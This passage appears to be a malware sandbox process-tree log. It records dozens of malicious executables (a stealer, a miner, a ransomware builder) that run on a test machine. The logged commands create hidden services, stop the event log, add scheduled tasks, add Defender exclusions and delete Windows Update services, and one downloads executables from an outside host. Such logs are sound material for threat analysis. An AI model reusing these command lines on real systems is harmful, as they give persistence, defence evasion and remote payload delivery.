C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "WSNKISKT"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "WSNKISKT"4⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Executes dropped EXE
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\lololoolll.exe"C:\Users\Admin\AppData\Local\Temp\Files\lololoolll.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4548 -s 12004⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\payload.exe"C:\Users\Admin\AppData\Local\Temp\Files\payload.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\runtime-bind.exe"C:\Users\Admin\AppData\Local\Temp\runtime-bind.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\visual-c++.exe"C:\Users\Admin\AppData\Local\Temp\visual-c++.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"2⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows System" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\plink.exe"C:\Users\Admin\AppData\Local\Temp\Files\plink.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\amers.exe"C:\Users\Admin\AppData\Local\Temp\Files\amers.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\d887ceb89d\explorhe.exe"C:\Users\Admin\AppData\Local\Temp\d887ceb89d\explorhe.exe"3⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\Admin\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F4⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\1000674001\plata.exe"C:\Users\Admin\AppData\Local\Temp\1000674001\plata.exe"4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST5⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST5⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\jobA4D3N7QBuoO_HNj\0JkaV6niHi_GoqhPSmbi.exe"C:\Users\Admin\AppData\Local\Temp\jobA4D3N7QBuoO_HNj\0JkaV6niHi_GoqhPSmbi.exe"5⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\jobA4D3N7QBuoO_HNj\XCYWZpr8KUdxG6ZfwEHe.exe"C:\Users\Admin\AppData\Local\Temp\jobA4D3N7QBuoO_HNj\XCYWZpr8KUdxG6ZfwEHe.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jobA4D3N7QBuoO_HNj\kAFZS8MHXWJOKyrxlKmZ.exe"C:\Users\Admin\AppData\Local\Temp\jobA4D3N7QBuoO_HNj\kAFZS8MHXWJOKyrxlKmZ.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000719001\redline1234.exe"C:\Users\Admin\AppData\Local\Temp\1000719001\redline1234.exe"4⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "ACULXOBT"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "ACULXOBT" binpath= "C:\ProgramData\hlkwogclqprr\uwgxswmtctao.exe" start= "auto"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "ACULXOBT"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000720001\moto.exe"C:\Users\Admin\AppData\Local\Temp\1000720001\moto.exe"4⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "FLWCUERA"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "FLWCUERA" binpath= "C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe" start= "auto"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\1000720001\moto.exe"5⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "FLWCUERA"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000721001\2024.exe"C:\Users\Admin\AppData\Local\Temp\1000721001\2024.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000722001\latestroc.exe"C:\Users\Admin\AppData\Local\Temp\1000722001\latestroc.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3940 -s 14965⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000723001\MRK.exe"C:\Users\Admin\AppData\Local\Temp\1000723001\MRK.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000725001\alex.exe"C:\Users\Admin\AppData\Local\Temp\1000725001\alex.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000726001\sadsadsadsa.exe"C:\Users\Admin\AppData\Local\Temp\1000726001\sadsadsadsa.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000727001\fsdfsfsfs.exe"C:\Users\Admin\AppData\Local\Temp\1000727001\fsdfsfsfs.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000728001\leg221.exe"C:\Users\Admin\AppData\Local\Temp\1000728001\leg221.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\d887ceb89d\qemu-ga.exe"C:\Users\Admin\AppData\Local\Temp\d887ceb89d\qemu-ga.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000729001\rdxx1.exe"C:\Users\Admin\AppData\Local\Temp\1000729001\rdxx1.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000730001\crypted.exe"C:\Users\Admin\AppData\Local\Temp\1000730001\crypted.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000731001\moto.exe"C:\Users\Admin\AppData\Local\Temp\1000731001\moto.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dusers.exe"C:\Users\Admin\AppData\Local\Temp\Files\dusers.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Files\move.bat" "3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Users.exeusers.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Macromedia\ser.bat" "5⤵
-
C:\Windows\SysWOW64\chcp.comCHCP 12516⤵
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 16⤵
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exewmild.exe -c http://duserifram.toshibanetcam.com/app.exe6⤵
-
-
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exewmild.exe -c http://duserifram.toshibanetcam.com/tibokUS.exe6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\software\microsoft\windows\currentversion" /v "alg" /t reg_sz /d svr.vbs /f6⤵
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 66⤵
- Runs ping.exe
-
-
C:\Windows\SysWOW64\reg.exeREG QUERY hkcu\software\microsoft\windows\currentversion6⤵
- Modifies registry key
-
-
C:\Windows\SysWOW64\find.exefind "svr.vbs"6⤵
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 34⤵
- Runs ping.exe
-
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe C:\Users\Admin\AppData\Roaming\Macromedia4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
C:\Windows\system32\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Aztec.exe"C:\Users\Admin\AppData\Local\Temp\Files\Aztec.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\patch.exe"C:\Users\Admin\AppData\Local\Temp\Files\patch.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ransom_builder.exe"C:\Users\Admin\AppData\Local\Temp\Files\ransom_builder.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3108 -s 10683⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\build.exe"C:\Users\Admin\AppData\Local\Temp\Files\build.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ofg7d45fsdfgg312.exe"C:\Users\Admin\AppData\Local\Temp\Files\ofg7d45fsdfgg312.exe"2⤵
-
C:\Windows\SysWOW64\SCHTASKS.exeSCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Temp\Files\ofg7d45fsdfgg312.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST3⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\iox.exe"C:\Users\Admin\AppData\Local\Temp\Files\iox.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\12028.exe"C:\Users\Admin\AppData\Local\Temp\Files\12028.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\6.exe"C:\Users\Admin\AppData\Local\Temp\Files\6.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\gate3_64.exe"C:\Users\Admin\AppData\Local\Temp\Files\gate3_64.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\123.exe"C:\Users\Admin\AppData\Local\Temp\Files\123.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"2⤵
-
C:\Windows\syspolrvcs.exeC:\Windows\syspolrvcs.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1230.exe"C:\Users\Admin\AppData\Local\Temp\Files\1230.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\288c47bbc1871b439df19ff4df68f0766.exe"C:\Users\Admin\AppData\Local\Temp\Files\288c47bbc1871b439df19ff4df68f0766.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe"C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_4.exe"C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_4.exe"2⤵
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x420 0x2f41⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 904 -ip 9041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1664 -ip 16641⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im opera.exe"1⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im opera.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im brave.exe"1⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im brave.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im msedge.exe"1⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im msedge.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im opera.exe"1⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im opera.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im chrome.exe"1⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im chrome.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2732 -ip 27321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3368 -ip 33681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4548 -ip 45481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4588 -ip 45881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3096 -ip 30961⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xfxixcb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }1⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 01⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 02⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 02⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 02⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 02⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f1⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f2⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f2⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f2⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f2⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3096 -ip 30961⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#extmbyk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 3096 -ip 30961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3096 -ip 30961⤵
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 5320 -ip 53201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5320 -ip 53201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 5320 -ip 53201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5320 -ip 53201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5320 -ip 53201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5320 -ip 53201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 5320 -ip 53201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5320 -ip 53201⤵
-
C:\ProgramData\hlkwogclqprr\uwgxswmtctao.exeC:\ProgramData\hlkwogclqprr\uwgxswmtctao.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5320 -ip 53201⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵
-
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exeC:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe1⤵
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"3⤵
-
C:\Windows\system32\conhost.execonhost.exe4⤵
-
-
-
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"3⤵
-
-
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"3⤵
-
-
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"3⤵
-
C:\Windows\system32\conhost.execonhost.exe4⤵
-
-
-
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"3⤵
-
-
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"3⤵
-
C:\Windows\system32\conhost.execonhost.exe4⤵
-
-
-
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe"3⤵
-
C:\Windows\system32\conhost.execonhost.exe4⤵
-
-
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xfxixcb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }1⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 01⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 02⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 02⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 02⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 02⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f1⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f2⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f2⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f2⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f2⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
-
